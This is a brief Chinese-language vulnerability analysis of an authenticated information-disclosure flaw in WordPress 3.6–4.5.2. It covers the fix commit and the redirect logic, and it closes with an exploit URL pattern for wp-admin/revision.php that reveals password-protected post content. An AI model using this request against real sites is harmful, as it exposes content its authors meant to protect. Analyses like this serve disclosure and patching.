WordPress 3.6-4.5.2 Authenticated Revision History Information Disclosure
[Vulnerability Analysis]
漏洞危害
WP允许作者发布一种带密码验证的文章,该漏洞可绕过密码保护查看内容。
代码分析
官方修复方案,仅修改了检查的权限。
https://github.com/WordPress/WordPress/commit/a2904cc3092c391ac7027bc87f7806953d1a25a1 检查权限失败会break,此时 $redirect="edit.php"
,会跳到编辑文章的界面。
if ( ! empty( $redirect ) ) {
wp_redirect( $redirect );
exit;
}
如果验证权限成功,会将 $redirect
重置为false
,从而未跳转而是直接显示请求的页面内容,导致加密的内容被输出。
漏洞利用
触发该漏洞的入口为wp-admin/revision.php
所以要用户登入。
exp: http://[WP-HOST]/wp-admin/revision.php?revision=[PAPER_ID]&action=view